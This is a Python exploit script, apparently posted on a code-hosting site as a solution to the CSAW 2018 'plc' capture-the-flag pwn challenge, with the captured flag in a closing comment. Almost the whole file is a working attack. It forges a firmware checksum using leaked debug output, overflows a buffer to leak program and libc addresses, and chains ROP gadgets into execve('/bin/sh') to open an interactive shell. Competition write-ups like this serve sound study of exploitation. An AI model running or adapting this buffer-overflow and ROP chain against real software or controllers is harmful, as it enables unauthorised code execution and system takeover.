-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit_plc.py
106 lines (90 loc) · 5.1 KB
/
exploit_plc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
"""
CSAW 2018 plc pwn challenge solution (300)
"""
import interact, struct
def u64(u):
"""
Unpack a 64 bit value.
"""
return struct.unpack('Q', u)[0]
def p64(q):
"""
Pack a 64 bit value.
"""
return struct.pack('Q', q)
def fix_checksum(p, firmware):
"""
Fixes the firmware checksum using debug messages.
"""
p.sendline('U')
p.sendline(firmware)
print p.readuntil('[DEBUG] ACTUAL FW CHECKSUM: ')
checksum = p.read(4)
firmware = '%s%s%s%s' % (firmware[:2], checksum[2:].decode('hex'), checksum[:2].decode('hex'), firmware[4:])
p.sendline('U')
p.sendline(firmware)
print p.readuntil('FIRMWARE UPDATE SUCCESSFUL!\n')
def rop_puts(elf_base_addr):
"""
Creates a rop payload to read the address of puts from the GOT table.
"""
rop = ''
rop += p64(elf_base_addr + 0x13b3) # pop rdi; ret
rop += p64(elf_base_addr + 0x202018) # rdi = GOT puts address
rop += p64(elf_base_addr + 0x8d0) # puts plt address
rop += p64(elf_base_addr + 0x11ac) # return to plc_main
return rop
def rop_execve(elf_base_addr, libc_puts_addr):
"""
Creates a rop payload to syscall execve('/bin/sh\x00', 0, 0).
Assumes rax = 0x3b
"""
rop = ''
rop += p64(elf_base_addr + 0x13b3) # pop rdi; ret
rop += p64(libc_puts_addr + 0x11d6c7) # libc address of '/bin/sh\x00'
rop += p64(elf_base_addr + 0x13b1) # pop rsi ; pop r15 ; ret
rop += p64(0x00) # rsi = 0
rop += p64(0x00) # r15 = 0
rop += p64(libc_puts_addr+0x87bce) # libc address of syscall instruction
return rop
def main():
"""
Main function called on program start
"""
p = interact.Process()
# Flush input buffer
print p.read(1)
# Enable debug messages
firmware = '\x46\x57\x32\x02\x31\x32\x38\x31\x33\x31\x39'
p.sendline('U')
p.sendline(firmware + ('\x00' * (0x400 - len(firmware))))
p.sendline('E')
# Save elf base address
firmware = '\x46\x57\x71\x1F\x31\x32\x38\x31\x33\x31\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x48\x32\x45\x32\x52\x32\x45\x32\x3A\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x39'
fix_checksum(p, firmware + ('\x00' * (0x400 - len(firmware))))
p.sendline('E')
p.sendline('S')
print p.readuntil('HERE:')
rpm_alert_addr = u64(p.read(6).ljust(8, '\x00'))
elf_base_addr = rpm_alert_addr - 0xab0
print "rpm_alert_addr: " + hex(rpm_alert_addr)
print "elf_base_addr: " + hex(elf_base_addr)
update_firmware = p64(elf_base_addr + 0xecb)
print "update_firmware: " + hex(u64(update_firmware))
# Overflow rop payloads
firmware = '\x46\x57\x71\x1F\x31\x32\x38\x31\x33\x31\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x41\x32\x48\x32\x45\x32\x52\x32\x45\x32\x45\x32%s\x32%s\x32%s\x32%s\x32%s\x32%s\x32%s\x32%s\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x39' % (update_firmware[0], update_firmware[1], update_firmware[2], update_firmware[3], update_firmware[4], update_firmware[5], update_firmware[6], update_firmware[7])
fix_checksum(p, firmware + ('\x00' * (0x400 - len(firmware))))
p.sendline('E')
print p.readuntil('[DEBUG] UPDATING FIRMWARE\n')
# Leak libc puts address
payload = 'A' * 912 + rop_puts(elf_base_addr)
p.sendline(payload + 'C' * (1023 - len(payload)))
libc_puts_addr = u64(p.read(8).ljust(8, '\x00'))
print "libc_puts_addr: " + hex(libc_puts_addr)
# Call execve('/bin/sh\x00', 0, 0)
p.sendline('E')
payload = 'A' * 904 + p64(0x3b) + rop_execve(elf_base_addr, libc_puts_addr)
p.sendline(payload + 'C' * (1023 - len(payload)))
p.interactive()
# flag{1s_thi5_th3_n3w_stuxn3t_0r_jus7_4_w4r_g4m3}
main()